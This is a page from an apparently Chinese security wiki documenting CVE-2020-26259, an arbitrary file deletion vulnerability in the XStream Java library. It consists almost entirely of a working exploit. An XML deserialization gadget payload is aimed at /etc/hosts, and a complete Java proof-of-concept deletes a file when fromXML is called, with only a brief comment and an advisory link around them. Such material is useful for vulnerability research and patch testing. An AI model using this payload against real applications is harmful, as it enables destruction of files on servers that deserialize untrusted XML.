menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right CVE-2020-26259 XStream 任意文件删除.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CVE-2020-26259 XStream 任意文件删除.md
    2.5 KB / 2021-05-21 09:14:38
        # CVE-2020-26259 XStream 任意文件删除
    
    PoC:
    
    ```
    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
            <dataHandler>
              <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                <contentType>text/plain</contentType>
                <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
                  <tempFile>/etc/hosts</tempFile>
                </is>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
      </entry>
    </map>
    
    XStream xstream = new XStream();
    xstream.fromXML(xml);
    
    ```
    
    https://x-stream.github.io/CVE-2020-26259.html
    
    **CVE_2020_26259.java:**
    
    ```java
    import com.thoughtworks.xstream.XStream;
    
    /*
    CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
    when unmarshalling as long as the executing process has sufficient rights.
    
    https://x-stream.github.io/CVE-2020-26259.html
    
    Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
     */
    
    public class CVE_2020_26259 {
        public static void main(String[] args) {
            String xml_poc = "<map>\n" +
                    "  <entry>\n" +
                    "    <jdk.nashorn.internal.objects.NativeString>\n" +
                    "      <flags>0</flags>\n" +
                    "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                    "        <dataHandler>\n" +
                    "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                    "            <contentType>text/plain</contentType>\n" +
                    "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
                    "              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
                    "            </is>\n" +
                    "          </dataSource>\n" +
                    "          <transferFlavors/>\n" +
                    "        </dataHandler>\n" +
                    "        <dataLen>0</dataLen>\n" +
                    "      </value>\n" +
                    "    </jdk.nashorn.internal.objects.NativeString>\n" +
                    "    <string>test</string>\n" +
                    "  </entry>\n" +
                    "</map>";
    
            XStream xstream = new XStream();
            xstream.fromXML(xml_poc);
        }
    
    }
    ```
    
    links
    file_download